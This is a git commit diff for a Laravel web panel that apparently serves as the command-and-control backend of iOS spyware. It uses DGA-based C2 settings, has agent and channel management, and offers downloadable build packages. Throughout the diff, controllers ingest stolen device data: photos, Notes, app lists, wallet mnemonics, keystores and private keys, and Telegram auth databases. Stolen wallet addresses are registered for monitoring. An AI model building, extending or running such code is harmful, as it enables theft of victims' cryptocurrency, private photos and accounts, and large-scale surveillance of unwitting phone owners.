feat: xxbb

This commit is contained in:
hashbro
2026-08-14 02:59:21 +08:00
parent 31924ca770
commit 5bf6852f66
82 changed files with 2890 additions and 521 deletions
+5 -2
View File
@@ -68,8 +68,11 @@ CORUNA_CHANNEL_STATE_ROOT=
CORUNA_CHANNEL_BUILDER_TIMEOUT=600
# Scheme for support links built from CORUNA_LAB_CHANNEL_DOMAINS
CORUNA_STATIC_SITE_SCHEME=https
# Native DGA/C2 URL scheme in xxbb type-0x01 (keep https; ATS blocks http:// to .icu hosts)
CORUNA_XXBB_C2_SCHEME=https
# Shared native `c` (32 hex) for every new-builder channel. Drives DGA; not a per-channel id.
# After `php artisan xxbb:build --random-c`, copy the printed XXBB_CHANNEL_C here.
XXBB_CHANNEL_C=
# Match iptj PageVisit → new-builder device by IP (minutes).
XXBB_VISIT_MATCH_MINUTES=30
# Max channel links per agent (super-admin settings can override)
CORUNA_MAX_CHANNELS_PER_AGENT=5
# p7zip binary. On panel hosts with open_basedir, prefer project-local:
+1
View File
@@ -37,4 +37,5 @@ Thumbs.db
/public/source
/public/weifile
/public/details
/public/channel-source-new
/storage/app/channel-builder-new
@@ -30,7 +30,7 @@ class AdminUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -36,7 +36,7 @@ class AgentUserController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -52,7 +52,7 @@ class ChannelController extends Controller
$q->where('status', (int) $status);
}
$sortable = ['id', 'channel_id', 'channel_name', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$sortable = ['id', 'channel_id', 'builder_type', 'status', 'user_id', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'id');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -60,24 +60,29 @@ class ChannelController extends Controller
}
$q->orderBy($field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) {
return [
$row = [
'id' => $c->id,
'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(),
'channel_name' => $c->channel_name ?: '',
'user_id' => (int) $c->user_id,
'agent_username' => $c->agentLabel(),
'remark' => $c->remark ?: '',
'status' => (int) $c->status,
'links' => $c->supportLinks(),
'download_url' => null,
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
];
if ($c->isNewBuilder()) {
$row['download_url'] = route($this->portal().'.channels.download', $c);
}
return $row;
})->values();
return response()->json([
@@ -88,12 +93,17 @@ class ChannelController extends Controller
]);
}
public function randomId()
public function randomId(Request $request)
{
$builderType = strtolower(trim((string) $request->query('builder_type', Channel::BUILDER_OLD)));
$channelId = $builderType === Channel::BUILDER_NEW
? Channel::randomNewChannelId()
: Channel::randomChannelId();
return response()->json([
'code' => 0,
'msg' => '',
'data' => ['channel_id' => Channel::randomChannelId()],
'data' => ['channel_id' => $channelId],
]);
}
@@ -101,8 +111,17 @@ class ChannelController extends Controller
{
abort_if($this->isAgentPortal(), 403);
$builderType = strtolower(trim((string) $request->input('builder_type', Channel::BUILDER_OLD)));
if (! in_array($builderType, [Channel::BUILDER_OLD, Channel::BUILDER_NEW], true)) {
$builderType = Channel::BUILDER_OLD;
}
$channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/']
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([
'channel_id' => ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')],
'channel_id' => $channelIdRule,
'builder_type' => ['nullable', 'string', Rule::in([Channel::BUILDER_OLD, Channel::BUILDER_NEW])],
'user_id' => ['nullable', 'integer', 'min:0'],
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
@@ -112,13 +131,23 @@ class ChannelController extends Controller
'status' => ['nullable', 'integer', Rule::in([0, 1])],
]);
if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']);
}
$data['channel_id'] = $normalized;
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
}
}
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
}
$builderType = (string) ($data['builder_type'] ?? Channel::BUILDER_OLD);
$channelName = null;
$builderType = (string) ($data['builder_type'] ?? $builderType);
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
$this->assertAgentChannelQuota($userId);
@@ -129,9 +158,7 @@ class ChannelController extends Controller
$data['deployment_seed'] ?? null,
$data['reporting_seed'] ?? null,
$builderType,
$channelName,
);
$channelName = $build['channel_name'] ?? null;
} catch (\Throwable $e) {
return response()->json([
'code' => 1,
@@ -140,7 +167,7 @@ class ChannelController extends Controller
}
try {
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelName) {
$channel = DB::transaction(function () use ($data, $userId, $builderType) {
if ($userId > 0) {
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
if (! $userExists) {
@@ -153,7 +180,6 @@ class ChannelController extends Controller
return Channel::query()->create([
'channel_id' => $data['channel_id'],
'builder_type' => $builderType,
'channel_name' => $channelName,
'user_id' => $userId,
'domains' => [],
'remark' => $data['remark'] ?? null,
@@ -161,7 +187,7 @@ class ChannelController extends Controller
]);
});
} catch (\Throwable $e) {
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType, $channelName);
$this->compensateBuildUnlessChannelExists($projects, $data['channel_id'], $builderType);
return response()->json([
'code' => 1,
@@ -175,7 +201,6 @@ class ChannelController extends Controller
'data' => [
'id' => $channel->id,
'builder_type' => $channel->builderType(),
'channel_name' => $channel->channel_name,
'links' => $channel->supportLinks(),
'seeds' => $build['seeds'],
'domains' => $build['domains'],
@@ -184,6 +209,10 @@ class ChannelController extends Controller
'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '',
'zip_path' => $build['zip_path'] ?? null,
'download_url' => $channel->isNewBuilder()
? route('admin.channels.download', $channel)
: null,
],
]);
}
@@ -236,6 +265,19 @@ class ChannelController extends Controller
]);
}
public function download(Channel $channel, ChannelProjectService $projects)
{
$this->authorizeChannel($channel);
abort_unless($channel->isNewBuilder(), 404);
$path = $projects->newChannelZipPath($channel->channel_id);
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
return response()->download($path, $channel->channel_id.'.zip', [
'Content-Type' => 'application/zip',
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects)
{
abort_if($this->isAgentPortal(), 403);
@@ -243,11 +285,10 @@ class ChannelController extends Controller
$channelId = $channel->channel_id;
$builderType = $channel->builderType();
$channelName = $channel->channel_name;
try {
// Delete remotely first: a failed remote delete leaves the DB row available
// for a safe retry instead of orphaning an unreachable static project.
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
DB::transaction(static fn () => $channel->delete());
} catch (\Throwable $e) {
return response()->json([
@@ -288,7 +329,6 @@ class ChannelController extends Controller
ChannelProjectService $projects,
string $channelId,
string $builderType = Channel::BUILDER_OLD,
?string $channelName = null,
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
@@ -306,12 +346,11 @@ class ChannelController extends Controller
}
try {
$projects->deleteWebTree($channelId, $builderType, $channelName);
$projects->deleteWebTree($channelId, $builderType);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'builder_type' => $builderType,
'channel_name' => $channelName,
'error' => $e->getMessage(),
]);
}
+102 -18
View File
@@ -13,8 +13,11 @@ use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope;
use App\Services\Tokenview\TokenviewMonitorService;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Storage;
class DeviceController extends Controller
@@ -38,7 +41,7 @@ class DeviceController extends Controller
$filters = $this->filtersFrom($request);
$q = $this->filteredQuery($filters);
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'has_wallet', 'created_at', 'updated_at'];
$field = (string) $request->query('field', 'updated_at');
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
if (! in_array($field, $sortable, true)) {
@@ -46,7 +49,7 @@ class DeviceController extends Controller
}
$q->orderBy('devices.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
@@ -56,13 +59,17 @@ class DeviceController extends Controller
'id' => $d->id,
'device_id' => $d->device_id,
'channel_id' => $d->channel_id ?: '',
'source_domain' => $d->source_domain ?: '',
'device_model' => $d->device_model ?: '',
'ios_version' => $d->ios_version ?: '',
'ip' => $d->ip ?: '',
'has_wallet' => (int) $d->has_wallet,
'wallet_names' => $d->walletNameList(),
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
'detail_url' => route($portal.'.devices.show', $d),
'destroy_url' => route($portal.'.devices.destroy', $d),
];
})->values();
@@ -116,7 +123,7 @@ class DeviceController extends Controller
$this->authorizeDevice($device);
$tab = (string) $request->query('tab', 'wallets');
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
$field = (string) $request->query('field', 'id');
@@ -169,9 +176,60 @@ class DeviceController extends Controller
{
$this->authorizeDevice($device);
$photos = $device->photos()->get(['id', 'path']);
$deletedFiles = $this->deletePhotoFiles($device);
$deletedRows = $device->photos()->delete();
$this->deleteStorageDir('c2/photos/'.$device->device_id);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
}
public function destroy(Device $device)
{
$this->authorizeDevice($device);
$listUrl = route($this->portal().'.devices.index');
$this->purgeDevice($device);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'list_url' => $listUrl,
],
]);
}
private function purgeDevice(Device $device): void
{
$this->deletePhotoFiles($device);
$this->deleteStorageDir('c2/photos/'.$device->device_id);
$this->deleteStorageDir('c2/check/'.$device->device_id);
$this->unmonitorAddresses($device);
DB::transaction(function () use ($device) {
$device->apps()->delete();
$device->events()->delete();
$device->photos()->delete();
$device->notes()->delete();
$device->addresses()->delete();
$device->mnemonics()->delete();
$device->keystores()->delete();
$device->delete();
});
}
private function deletePhotoFiles(Device $device): int
{
$deletedFiles = 0;
foreach ($photos as $photo) {
foreach ($device->photos()->get(['id', 'path']) as $photo) {
$path = trim((string) ($photo->path ?? ''));
if ($path === '') {
continue;
@@ -182,29 +240,45 @@ class DeviceController extends Controller
}
}
$deletedRows = $device->photos()->delete();
return $deletedFiles;
}
$dir = 'c2/photos/'.$device->device_id;
private function deleteStorageDir(string $dir): void
{
try {
if (Storage::disk('local')->directoryExists($dir)) {
Storage::disk('local')->deleteDirectory($dir);
}
} catch (\Throwable) {
// older flysystem without directoryExists — best-effort wipe
try {
Storage::disk('local')->deleteDirectory($dir);
} catch (\Throwable) {
}
}
}
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'deleted_rows' => (int) $deletedRows,
'deleted_files' => $deletedFiles,
],
]);
private function unmonitorAddresses(Device $device): void
{
$addresses = $device->addresses()->where('monitor', 1)->get();
if ($addresses->isEmpty()) {
return;
}
try {
$svc = app(TokenviewMonitorService::class);
} catch (\Throwable) {
return;
}
foreach ($addresses as $address) {
try {
$address->monitor = 0;
$svc->syncMonitor($address);
} catch (\Throwable $e) {
Log::warning('tokenview unmonitor on device delete failed: '.$e->getMessage(), [
'device_id' => $device->id,
'address_id' => $address->id,
]);
}
}
}
private function authorizeDevice(Device $device): void
@@ -393,10 +467,16 @@ class DeviceController extends Controller
}
/**
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int}
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
*/
private function filtersFrom(Request $request): array
{
$hasWallet = $request->query('has_wallet');
$hasWalletInt = null;
if (in_array((string) $hasWallet, ['0', '1', '2'], true)) {
$hasWalletInt = (int) $hasWallet;
}
return [
'device_key' => trim((string) $request->query('device_key', '')),
'channel_id' => trim((string) $request->query('channel_id', '')),
@@ -405,12 +485,13 @@ class DeviceController extends Controller
'ios' => trim((string) $request->query('ios', '')),
'installed_from' => trim((string) $request->query('installed_from', '')),
'installed_to' => trim((string) $request->query('installed_to', '')),
'has_wallet' => $hasWalletInt,
'agent_user_id' => AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
];
}
/**
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, agent_user_id: ?int} $filters
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
*/
private function filteredQuery(array $filters): Builder
{
@@ -438,6 +519,9 @@ class DeviceController extends Controller
if ($filters['installed_to'] !== '' && preg_match('/^\d{4}-\d{2}-\d{2}/', $filters['installed_to'])) {
$q->whereDate('devices.created_at', '<=', substr($filters['installed_to'], 0, 10));
}
if ($filters['has_wallet'] !== null) {
$q->where('devices.has_wallet', $filters['has_wallet']);
}
if (! $this->isAgentPortal()) {
AgentScope::applyAgentUserFilter($q, $filters['agent_user_id']);
}
@@ -45,7 +45,7 @@ class MnemonicController extends Controller
}
$q->orderBy('wallet_mnemonics.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -38,7 +38,7 @@ class NoteController extends Controller
}
$q->orderBy('notes.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
->forPage($page, $limit)
->get([
'id', 'channel_id', 'client_uid', 'os', 'os_version',
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
'browser', 'browser_version', 'user_agent', 'ip', 'domain', 'referer', 'created_at',
]);
return response()->json([
@@ -54,7 +54,7 @@ class PageVisitController extends Controller
'browser_version' => $v->browser_version ?: '',
'user_agent' => $v->user_agent ?: '',
'ip' => $v->ip ?: '',
'path' => $v->path ?: '',
'domain' => $v->domain ?: '',
'referer' => $v->referer ?: '',
'created_at' => optional($v->created_at)?->toDateTimeString(),
])->values(),
@@ -71,6 +71,11 @@ class PageVisitController extends Controller
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os', 'os_version'),
'domain' => $base
->select('domain')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('domain'),
'browser' => $base
->select('browser')
->selectRaw('COUNT(*) as pv')
@@ -95,6 +100,7 @@ class PageVisitController extends Controller
->map(static function ($row) use ($group) {
$label = match ($group) {
'os_version' => trim(((string) ($row->os ?? '')).' '.((string) ($row->os_version ?? ''))),
'domain' => (string) ($row->domain ?? ''),
'browser' => (string) ($row->browser ?? ''),
'browser_version' => trim(((string) ($row->browser ?? '')).' '.((string) ($row->browser_version ?? ''))),
default => (string) ($row->os ?? ''),
@@ -151,6 +157,10 @@ class PageVisitController extends Controller
if ($browserVersion !== '') {
$q->where('browser_version', $browserVersion);
}
$domain = trim((string) $request->query('domain', ''));
if ($domain !== '') {
$q->where('domain', 'like', '%'.$domain.'%');
}
$referer = trim((string) $request->query('referer', ''));
if ($referer !== '') {
$q->where('referer', 'like', '%'.$referer.'%');
@@ -38,7 +38,7 @@ class PhotoController extends Controller
}
$q->orderBy('photos.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
@@ -39,7 +39,7 @@ class TransferRecordController extends Controller
}
$q->orderBy('transfer_records.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['transfer_records.*'], 'page', $page);
@@ -47,7 +47,7 @@ class WalletAddressController extends Controller
}
$q->orderBy('wallet_addresses.'.$field, $order);
$limit = max(1, min(100, (int) $request->query('limit', 15)));
$limit = max(1, min(100, (int) $request->query('limit', 20)));
$page = max(1, (int) $request->query('page', 1));
$paginator = $q->paginate($limit, ['*'], 'page', $page);
+172 -18
View File
@@ -3,15 +3,25 @@
namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Services\CorunaArchive;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Storage;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
*
* Native path map (corepayload + details plugins):
* /a census, /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib).
*/
class XxbbC2Controller extends Controller
{
@@ -25,7 +35,7 @@ class XxbbC2Controller extends Controller
}
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
*/
public function iptj(Request $request): Response
{
@@ -36,39 +46,78 @@ class XxbbC2Controller extends Controller
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
if ($normalizedCode !== null) {
$channelCode = $normalizedCode;
}
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
$sessionId = $this->normalizeSessionId(
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
);
if ($channelCode !== '' && strlen($channelCode) <= 64) {
$uid = $domain !== '' ? $domain : (string) $request->ip();
$uid = substr($uid, 0, 64);
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
$domain = PageVisit::normalizeDomain($domain);
$ip = (string) $request->ip();
$uid = PageVisit::visitorUid($domain, $ip);
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
try {
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid !== '' ? $uid : 'iptj',
'client_uid' => $uid,
'session_id' => $sessionId,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $this->referer($request),
'created_at' => now(),
]);
} catch (QueryException $e) {
if (($e->errorInfo[0] ?? '') !== '23000') {
throw $e;
}
}
}
return response('{}', 200)->header('Content-Type', 'application/json');
}
private function normalizeSessionId(string $sessionId): ?string
{
$sessionId = trim($sessionId);
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
return null;
}
return $sessionId;
}
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
{
if ($sessionId !== null) {
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
if (! Cache::add($debounceKey, 1, now()->addDay())) {
return false;
}
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
}
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census, no create. */
public function profile(Request $request): Response
{
@@ -99,6 +148,91 @@ class XxbbC2Controller extends Controller
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/check — photo 7z multipart. */
public function photos(Request $request): Response
{
$rawKey = $request->attributes->get('coruna_device_key')
?: $request->input('d')
?: $request->input('f');
$deviceKey = is_string($rawKey) && $rawKey !== ''
? IngestService::normalizeDeviceKey(substr($rawKey, 0, 64))
: null;
$device = $this->ingest->ensureDevice(
$request,
array_filter([
'd' => $deviceKey,
'c' => $request->input('c'),
'channel' => $request->input('channel'),
]),
$deviceKey
);
$batchBase = (string) ($request->input('batchBase')
?? $request->input('batch_base')
?? $request->input('base')
?? $request->input('ts')
?? '0');
if ($batchBase === '') {
$batchBase = '0';
}
$xHitRaw = $request->input('x-hit');
$xHit = is_numeric($xHitRaw) ? (int) $xHitRaw : null;
[$uploadCount, $processIndex] = IngestService::decodeHexCounterPair($request->input('idx'));
[$textCount, $barcodeCount] = IngestService::decodeHexCounterPair($request->input('ftu'));
$photoMeta = [
'x_hit' => $xHit,
'upload_count' => $uploadCount,
'process_index' => $processIndex,
'text_count' => $textCount,
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}
return $this->xxbbAck($request);
}
/** Lab analogue: POST /api/user/avatar/pic — Notes `list`. */
public function notes(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestNotes($device, $payload);
}
return $this->xxbbAck($request);
}
/**
* Plugin reports: /uj /us /ub /ba /result.
* Dispatch by payload shape onto the same ingest as lab long paths.
@@ -123,15 +257,35 @@ class XxbbC2Controller extends Controller
} else {
$this->ingest->ingestMnemonic($device, $payload);
}
}
if (array_key_exists('list', $payload)) {
$this->ingest->ingestNotes($device, $payload);
} else {
// BitKeep / Global Wallet may send privateKey without wrapping `result`.
$this->ingest->ingestMnemonic($device, $payload);
}
}
return $this->xxbbAck($request);
}
/** tglib: POST /api/tg/t — Telegram user_id + atomic-state + db_sqlite. */
public function telegram(Request $request): Response
{
$payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) {
$this->ingest->ingestTelegramAuth($device, $payload);
}
return $this->xxbbAck($request);
}
private function xxbbArchive(): CorunaArchive
{
return new CorunaArchive(
DecryptXxbbBody::crypto(),
(string) config('coruna.seven_zip', ''),
);
}
private function referer(Request $request): ?string
{
$referer = trim((string) $request->headers->get('referer', ''));
+18 -12
View File
@@ -2,6 +2,7 @@
namespace App\Http\Controllers;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Support\UserAgentParser;
use Illuminate\Http\Request;
@@ -14,21 +15,26 @@ class PageHitController extends Controller
public function __invoke(Request $request): Response
{
$channelId = strtolower(trim((string) $request->query('c', $request->input('c', ''))));
$channelId = trim((string) $request->query('c', $request->input('c', '')));
$clientUid = trim((string) $request->query('u', $request->input('u', '')));
$path = trim((string) $request->query('p', $request->input('p', '')));
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
return $this->pixel();
$newCode = Channel::normalizeNewChannelId($channelId);
if ($newCode !== null) {
$channelId = $newCode;
} else {
$channelId = strtolower($channelId);
if (! preg_match('/^[0-9a-f]{32}$/', $channelId)) {
return $this->pixel();
}
}
if (! preg_match('/^[0-9a-fA-F-]{8,64}$/', $clientUid) && ! preg_match('/^tmp_[0-9a-f]+$/i', $clientUid)) {
return $this->pixel();
}
if (strlen($path) > 255) {
$path = substr($path, 0, 255);
}
$debounceKey = 'page_hit:'.$channelId.':'.$clientUid;
$ip = (string) $request->ip();
$domain = PageVisit::normalizeDomain($request->getHost());
$uid = PageVisit::visitorUid($domain ?? $request->getHost(), $ip);
$debounceKey = 'page_hit:'.$channelId.':'.$uid;
if (! Cache::add($debounceKey, 1, now()->addSeconds(8))) {
return $this->pixel();
}
@@ -39,14 +45,14 @@ class PageHitController extends Controller
PageVisit::query()->create([
'channel_id' => $channelId,
'client_uid' => substr($clientUid, 0, 64),
'client_uid' => $uid,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'],
'os_version' => $parsed['os_version'] !== '' ? $parsed['os_version'] : null,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $request->ip(),
'path' => $path !== '' ? $path : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $referer,
'created_at' => now(),
]);
+1 -1
View File
@@ -83,7 +83,6 @@ class DecryptXxbbBody
create_log([
'dir' => 'in',
'campaign' => 'xxbb',
'method' => $request->method(),
'path' => $path,
'ip' => $request->ip(),
@@ -98,6 +97,7 @@ class DecryptXxbbBody
$request->attributes->set('coruna_payload', $payload);
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
$request->attributes->set('coruna_device_key', $deviceKey);
$request->attributes->set('coruna_new_builder', true);
$request->attributes->set('xxbb_ts', $timestamp);
return $next($request);
+45 -25
View File
@@ -14,10 +14,10 @@ class Channel extends Model
public const BUILDER_NEW = 'new';
public const CHANNEL_NAME_LENGTH = 8;
public const NEW_CHANNEL_ID_LENGTH = 8;
/**
* Public-root path prefixes that must not be used as channel_name.
* Public-root path prefixes that must not be used as 8-char channel IDs.
*
* @var list<string>
*/
@@ -25,14 +25,14 @@ class Channel extends Model
'admin', 'user', 'api', 'web', 'sync', 'details', 'weifile', 'hooks',
'link', 'statistic', 'vhx', 'event', 'log', 'storage', 'build', 'hot',
'vendor', 'css', 'js', 'up', 'index', 'assets', 'static', 'source', 'channel',
'out', 't', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'out', 't', 'nb', 'a', 'u', 'uj', 'us', 'ub', 'ba', 'result', 'favicon',
'robots', 'sitemap', 'public', 'app', 'bootstrap', 'config',
'database', 'resources', 'routes', 'tests', 'artisan', 'livewire',
'sanctum', 'telescope', 'horizon', 'pulse',
];
protected $fillable = [
'channel_id', 'builder_type', 'channel_name', 'user_id', 'domains', 'status', 'remark',
